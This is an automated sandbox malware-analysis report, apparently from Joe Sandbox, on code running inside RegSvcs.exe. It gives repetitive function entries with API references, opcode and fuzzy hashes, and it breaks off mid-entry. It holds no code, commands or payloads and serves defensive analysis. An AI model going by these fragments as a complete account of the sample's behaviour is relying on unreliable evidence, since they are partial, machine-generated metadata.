Source File: 0000000C.00000002.983359439.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_210000_Client.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2cb1fb2f8eae68f7f31873a617a34f7f48e9fe3bc0d156c3731c0e9eb991ce1f
Instruction ID: 0ef77a192ff284af1de1b8562c21f2dc60712f674827ac03f051a72db64712ff
Opcode Fuzzy Hash: 2cb1fb2f8eae68f7f31873a617a34f7f48e9fe3bc0d156c3731c0e9eb991ce1f
Instruction Fuzzy Hash: 1631DDB4D012189FCF10DFA9D884AEEFBB4AF49314F10942AE818B7300D735A941CF95

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exePID: 1152, Parent PID: 1952COMMON

Execution Graph

Execution Coverage:	26%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	382
Total number of Limit Nodes:	7

Executed Functions

Function 00810C08 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 00813414

Strings

PBa, xrefs: 00810C08

Memory Dump Source

Source File: 0000000F.00000002.1002381200.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_810000_RegSvcs.jbxd

Similarity

API ID: Open
String ID: PBa
API String ID: 71445658-1795656683
Opcode ID: 2c2fc939662b8b60c2852ced76226d814780c9d32bfeab4a1efb167a27533817
Instruction ID: 1a7fc11ae4f480f74d574f01dc9cd793e650e40df771d592383c61f316eede62
Opcode Fuzzy Hash: 2c2fc939662b8b60c2852ced76226d814780c9d32bfeab4a1efb167a27533817
Instruction Fuzzy Hash: F731E0B0D042499FDB10CF99C588ADEFFF5BF49314F24816AE418AB341C775AA84CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00B20D30 Relevance: 2.7, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fCFl, xrefs: 00B20E19
fCFl, xrefs: 00B20DC9

Memory Dump Source

Source File: 0000000F.00000002.1002503375.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b20000_RegSvcs.jbxd

Similarity

API ID:
String ID: fCFl$fCFl
API String ID: 0-2356703646
Opcode ID: e2536c9d131cffc9bc436c14c85b7e2f626377e7dd1ca9715dc3da7c4adfcd41
Instruction ID: fb114ebc98cefb82ef6363cd198a822a1ae320c47faf1ab3628b920eb30d9d49
Opcode Fuzzy Hash: e2536c9d131cffc9bc436c14c85b7e2f626377e7dd1ca9715dc3da7c4adfcd41
Instruction Fuzzy Hash: 8D515930B042149FDB14FBB49906BAEBBE7DF88314F14C069E509CB282DF358C4287A2

Uniqueness

Uniqueness Score: -1.00%

Function 002874EA Relevance: 1.8, APIs: 1, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 954df604343b184ed48e8e751b958e60b3d3d9d4e0d164c5540136a43c2bdd99
Instruction ID: 32e037e9dd6ac9c7d8fbdddde9c61fef42f1e6b4cafd9659f04604b261b0088a
Opcode Fuzzy Hash: 954df604343b184ed48e8e751b958e60b3d3d9d4e0d164c5540136a43c2bdd99
Instruction Fuzzy Hash: C502BB38926268CFCB65EF24C9886D9F772BF49305F2089EAD40A96750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0028750B Relevance: 1.8, APIs: 1, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2ba502089292deb62bcf005c6805685aac36124320c7bc462c384a99ed532338
Instruction ID: ea9419c9e9bc297fa2ffb065b9969c5f270b00cce3dc33616573b428e49a4db8
Opcode Fuzzy Hash: 2ba502089292deb62bcf005c6805685aac36124320c7bc462c384a99ed532338
Instruction Fuzzy Hash: 5502CB38916228CFCB65EF34C9886D9F772BF49305F2089EAD40AA6750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00287550 Relevance: 1.8, APIs: 1, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 63681122da9172a3a0ebb88a17c2a5ade200314d6c38686ce6a2180c12e8155a
Instruction ID: 61b761fcb80892da707bb81781044790b85fb8840d3bf9143ea58b117494a9ac
Opcode Fuzzy Hash: 63681122da9172a3a0ebb88a17c2a5ade200314d6c38686ce6a2180c12e8155a
Instruction Fuzzy Hash: D802BB38916228CFCB65EF34C9886D9F772BF49305F2089EAD40AA6750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0028758C Relevance: 1.8, APIs: 1, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: df40898d682ca499156ff83cba3a9627cc4d1b8b047c4cf3a3e176ae5c74aec3
Instruction ID: 73f1cf4229dc7170fdb545c4873915ab5528064e44cd2730703cb6e649490b38
Opcode Fuzzy Hash: df40898d682ca499156ff83cba3a9627cc4d1b8b047c4cf3a3e176ae5c74aec3
Instruction Fuzzy Hash: 3A02BC38916228CFCB65EF74C9886D9F772BF49305F2089EAD40A96750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 002875D1 Relevance: 1.8, APIs: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d2c92e666f3015b325f22a10dfce34cbf7ff856d18677ffdbaf1d2c98c0532eb
Instruction ID: 2ed479ddef95cd978ec002f2351b2127e062e83007ed9e98a8bbc2fba686aab2
Opcode Fuzzy Hash: d2c92e666f3015b325f22a10dfce34cbf7ff856d18677ffdbaf1d2c98c0532eb
Instruction Fuzzy Hash: 1102CB38916228CFCB65EF74C9886D9F772BF49305F2089EAD40AA6750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00287616 Relevance: 1.8, APIs: 1, Instructions: 319COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 9a9586400bc4805c1f23b5b101c9c500f680f3fbdc0cd5d6d2efb7cfec1c3d30
Instruction ID: d613300dccfdaa1b92f72ffc330758d5f5bbfcbefc56d318b449720a0e30ebd0
Opcode Fuzzy Hash: 9a9586400bc4805c1f23b5b101c9c500f680f3fbdc0cd5d6d2efb7cfec1c3d30
Instruction Fuzzy Hash: C4F1CB38916228CFCB65EF74C9886D9F772BF49305F2089EAD40AA6750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0028765B Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a2e852139e0fe5809f563e9b7e56d4ce830655b8b78fad824447a9b98d62766a
Instruction ID: 03734a779092df46538da6cf2cd14972831e1e7a19c4ef5c0bb6cbf983f1877d
Opcode Fuzzy Hash: a2e852139e0fe5809f563e9b7e56d4ce830655b8b78fad824447a9b98d62766a
Instruction Fuzzy Hash: 41F1BB38916228CFCB65EF74C9886D9F772BF49305F2089EAD40AA6750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 002876A0 Relevance: 1.8, APIs: 1, Instructions: 305COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 88a5768af0ff3003459573e1d75570da7ac3b0d283848ba982a01f53791a6716
Instruction ID: b4ab5106c4c609bf638f38ea7410e9000b861224d5f04639559aa6924f737b90
Opcode Fuzzy Hash: 88a5768af0ff3003459573e1d75570da7ac3b0d283848ba982a01f53791a6716
Instruction Fuzzy Hash: D8F1BB38926228CFCB65EF74C9886D9F772BF49305F2089EAD40A96750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 002876E5 Relevance: 1.8, APIs: 1, Instructions: 296COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 11446ee1e4afa8323d548b6693964297b27bbc79355de14297df4008cd926887
Instruction ID: c6762ebd73912eab1e1db7cb7dbef767b634762e0586840191eade9fbf29c054
Opcode Fuzzy Hash: 11446ee1e4afa8323d548b6693964297b27bbc79355de14297df4008cd926887
Instruction Fuzzy Hash: 21F1CB38926228CFCB65EF74C9886D9F772BF49305F2089EAD40A96750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00287721 Relevance: 1.8, APIs: 1, Instructions: 291COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 94210fd966c26bb1f40eb386aedd0d3f20437562ea553e35fb98ae546ba5a9c9
Instruction ID: d5aca762c516cbc7908cef110278b09e091ec787293bdbb89b644c3b569b07c9
Opcode Fuzzy Hash: 94210fd966c26bb1f40eb386aedd0d3f20437562ea553e35fb98ae546ba5a9c9
Instruction Fuzzy Hash: 4BE1CC38916228CFCB65EF74C9886D9F772BF49305F2089EAD40A96750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00287766 Relevance: 1.8, APIs: 1, Instructions: 284COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2fba574e931d885ce85b1237e7dbf3527f4f0efc139d7f616b22f07c0ebd2c7d
Instruction ID: 6fc009247660ba3c78a7a5e9e761dd1b4a62a3f00031eea3816399948e0e1d14
Opcode Fuzzy Hash: 2fba574e931d885ce85b1237e7dbf3527f4f0efc139d7f616b22f07c0ebd2c7d
Instruction Fuzzy Hash: F6E1BC38916228CFCB65EF74C9886D9F772BF49305F2089EAD40A96750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 002877AB Relevance: 1.8, APIs: 1, Instructions: 277COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c17f2130bbdd70191cbe89ff8e8bc6a316e8a1250ae809915bbd12e1108a75ab
Instruction ID: 8924f105f7dd6a07541225ea79ac81630dfec0820120412ddbb1b82550bf4206
Opcode Fuzzy Hash: c17f2130bbdd70191cbe89ff8e8bc6a316e8a1250ae809915bbd12e1108a75ab
Instruction Fuzzy Hash: 02E1CC38926228CFCB65EF74C9886D9F772BF49305F2089EAD40A96750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 002877F0 Relevance: 1.8, APIs: 1, Instructions: 270COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0ba3ab9b83070e1f7d4d3598618ecfddc0c5558ba014561452e600beab17b2be
Instruction ID: 09baeb8259952d659a3d730d8ca49d36877a30a57d089af8b935aaf428a4b86d
Opcode Fuzzy Hash: 0ba3ab9b83070e1f7d4d3598618ecfddc0c5558ba014561452e600beab17b2be
Instruction Fuzzy Hash: 1AE1CC38926228CFCB65EF74C9886D9F772BF49305F2089EAD40A96750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00287835 Relevance: 1.8, APIs: 1, Instructions: 263COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: f28d834e91971d3e0fb80a456b0009dbde025327364d5d8d06b594781745a6a2
Instruction ID: dc2f144e304635b4e4fe94a63475b206fbfbfa11032592f8084d72c840d57a0a
Opcode Fuzzy Hash: f28d834e91971d3e0fb80a456b0009dbde025327364d5d8d06b594781745a6a2
Instruction Fuzzy Hash: A0D1CC38926228CFCB65EF74C988699F772BF49305F2089EAD40A96750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0028787A Relevance: 1.8, APIs: 1, Instructions: 256COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ab879e64922b3ea176ca7be461b0121e9fff64a5eb29c015766b560c5bb09bad
Instruction ID: d2aee975d04cca8b6ffdbeb5ac660ba42fb96ad8b82a7da07b7179458f04d746
Opcode Fuzzy Hash: ab879e64922b3ea176ca7be461b0121e9fff64a5eb29c015766b560c5bb09bad
Instruction Fuzzy Hash: ABD1CC38926228CFCB65EF74C9886D9F772BF45305F2089EAD40AA6750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 002878BF Relevance: 1.7, APIs: 1, Instructions: 249COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2af6943381e9dd39514980b15211feb11857a9734ebd6501de43fc607bcd51a9
Instruction ID: 45613d61683ba7e2b93b0835f1e63c914f9ed9a2c51b86dac8d82a541e83c069
Opcode Fuzzy Hash: 2af6943381e9dd39514980b15211feb11857a9734ebd6501de43fc607bcd51a9
Instruction Fuzzy Hash: 92D1CD38926228CFCB65EF34C9886D9F772BF45305F2089EAD40A96750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00287904 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 378d62304775a261377b965f1268db1a38cf7af9e1bfed0890b3114cce2d00a3
Instruction ID: 83ea42621c11d137107b4cefffc882f529ca300e0c484f81397433cce1138156
Opcode Fuzzy Hash: 378d62304775a261377b965f1268db1a38cf7af9e1bfed0890b3114cce2d00a3
Instruction Fuzzy Hash: 6CC1BA38926228CFCB65EF34C9886D9F772BF45305F2089EAD40AA6750DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00287949 Relevance: 1.7, APIs: 1, Instructions: 235COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0028796D

Memory Dump Source

Source File: 0000000F.00000002.1000981746.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_280000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1b342fb7f48ed92faaead4ed58dcf97ca29a91bb5f5ac646914f237bd9aa7034
Instruction ID: fa4ee4d3a9b2a3c82ad27c680fc0e0d11ee7b485dcc67f54387be951db614fbf
Opcode Fuzzy Hash: 1b342fb7f48ed92faaead4ed58dcf97ca29a91bb5f5ac646914f237bd9aa7034
Instruction Fuzzy Hash: 25C1B938926228CFCB65EF34C9886D9F772BF45305F2089EAD40AA6750DB359E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 008135C8 Relevance: 1.6, APIs: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 008136D1

Memory Dump Source

Source File: 0000000F.00000002.1002381200.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_810000_RegSvcs.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: b1675ab016838d57981fcd5a18c17aa9516fadebbf02ce774c38b10b38c45b54
Instruction ID: 0dd4299abf285d8bf9830e40d25d0c238eb8af312876dcc9163bca0d24c70e3a
Opcode Fuzzy Hash: b1675ab016838d57981fcd5a18c17aa9516fadebbf02ce774c38b10b38c45b54
Instruction Fuzzy Hash: 054112B0E002599FCB10CFA9D888ADEBBF9FF48304F15846AE818AB350D7349945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00810C14 Relevance: 1.6, APIs: 1, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 008136D1

Memory Dump Source

Source File: 0000000F.00000002.1002381200.0000000000810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_810000_RegSvcs.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: df9980f09b68a571d8fd8f68c29e2b9cb84393f81d4607512dc763fdd67df471
Instruction ID: 53510e66eda17f0f936a1fcad5db4e1c51aafa1f9dc5101a5b7630730c883733
Opcode Fuzzy Hash: df9980f09b68a571d8fd8f68c29e2b9cb84393f81d4607512dc763fdd67df471
Instruction Fuzzy Hash: D231D2B1D002589FCB10CF9AC884ADEBBF5FF48314F55842AE818AB350D7749945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00B20F31 Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1002503375.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5acfc4a9bc4a1195686de8ae0856995629e81f575e2b45c9384f07bce1043c1
Instruction ID: 85bd371e7a67988f63916969cbe3f750d8261ffb05ac6817c15d0940fc0031dd
Opcode Fuzzy Hash: b5acfc4a9bc4a1195686de8ae0856995629e81f575e2b45c9384f07bce1043c1
Instruction Fuzzy Hash: DED1B334B093448FD706DB78D958A5A7BF2EF86304F1580A6E549CB3A6EB34DC06CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B20006 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1002503375.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09a82e92e2d85262740b64f55b7d5623ce0b21920d85011163f0ce370daa29ed
Instruction ID: 48e45c18c85378e16380eaa003d61963c37fd5cebeab7e30162158f7b4fc4865
Opcode Fuzzy Hash: 09a82e92e2d85262740b64f55b7d5623ce0b21920d85011163f0ce370daa29ed
Instruction Fuzzy Hash: 54812A307141644FEF2567B8EA4836F37D6DB8A314F1144A6E50AD7797CB28CC8693A3

Uniqueness

Uniqueness Score: -1.00%

Function 00B20048 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1002503375.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1af5b08ca779045dd48f0f586cf6b10c94a2a944dee02a264ea7bbfbd4f1391f
Instruction ID: a1b08c134cba64051f5fe37cfc60ca548bd78bb3e87a8becc40de2c4cee92f19
Opcode Fuzzy Hash: 1af5b08ca779045dd48f0f586cf6b10c94a2a944dee02a264ea7bbfbd4f1391f
Instruction Fuzzy Hash: 496108347200685BEF2477A8EA4836F369ADB89311F118476E50EE7786CF28CC8553A3

Uniqueness

Uniqueness Score: -1.00%

Function 00B207D8 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1002503375.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 436f736e82f61fdae5231b6be73397f831887fdff25f98afc025742d40520ee3
Instruction ID: bc6c565e962c0693f150b22f721aceed62a7884e9efcae0e52bc141c8b21ec83
Opcode Fuzzy Hash: 436f736e82f61fdae5231b6be73397f831887fdff25f98afc025742d40520ee3
Instruction Fuzzy Hash: 4961E570F2A3809FC716A774646521D7FE29F82204B5A94EAC146CB797EF3CDD068392

Uniqueness

Uniqueness Score: -1.00%

Function 00B209A8 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1002503375.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab80ef384a11455013f8b805a909e44707148e129439963dc3190173ac9b8087
Instruction ID: cbab4a28efc14e82b762a4d33557487e0164931f6a5f970119dc2b93bf9dc94f
Opcode Fuzzy Hash: ab80ef384a11455013f8b805a909e44707148e129439963dc3190173ac9b8087
Instruction Fuzzy Hash: 51416231F213105BCB58BBB8606A22F61C79FC5254B16E838D14ACB79AEF7CCD024386

Uniqueness

Uniqueness Score: -1.00%

Function 00B20540 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1002503375.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf82241aae237dec09169a6764c6cb4aecb5df76a318b558d19ddfee8510dcf
Instruction ID: ef67045616c2e2ff635b366dcf4eacad666a9124127581a7d0c609b5d78745b4
Opcode Fuzzy Hash: 5bf82241aae237dec09169a6764c6cb4aecb5df76a318b558d19ddfee8510dcf
Instruction Fuzzy Hash: 5841E430A10214CFCB15BB78E5942AE77F6EF88354F108879C44AAB791DF359C56CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B2133B Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1002503375.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc20fe24db37d2d2a5990428d832d38b4a5c97517fe867116c441d4fe7462c47
Instruction ID: d6ee5ed641e446bc8fcd5204faf1e435390f5cd72b841db921f737e07597876c
Opcode Fuzzy Hash: fc20fe24db37d2d2a5990428d832d38b4a5c97517fe867116c441d4fe7462c47
Instruction Fuzzy Hash: 4341A438B001049FCB44DF68D998E59BBF2AF88714B6680A8E90ADB771CB31EC41CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0010D24C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1000064619.000000000010D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0010D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e3398272c39a948b169138a2424a94aa390871813123fc210a983c47081284a
Instruction ID: 78da74868b2b3cebd90601b87ae40c3c2d0cb9c7cfa702d9759e1886b8f11205
Opcode Fuzzy Hash: 2e3398272c39a948b169138a2424a94aa390871813123fc210a983c47081284a
Instruction Fuzzy Hash: A12103B1504344DFCF15CF94E9C4B2ABF61FB88324F2085A9E9454B286C376D816CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0010D514 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1000064619.000000000010D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0010D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 457958193833719d9cbea79079a677cdb3eef414a87db96049ed4cca07bae997
Instruction ID: c44fc4df66f8a09cdb0bfe47a94cfce96271db1c6a2e280b736f733c6307434a
Opcode Fuzzy Hash: 457958193833719d9cbea79079a677cdb3eef414a87db96049ed4cca07bae997
Instruction Fuzzy Hash: 29213071604244DFCB19DF54E980B2ABF71FB88328F248169ED454B286C376D846CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0010D247 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

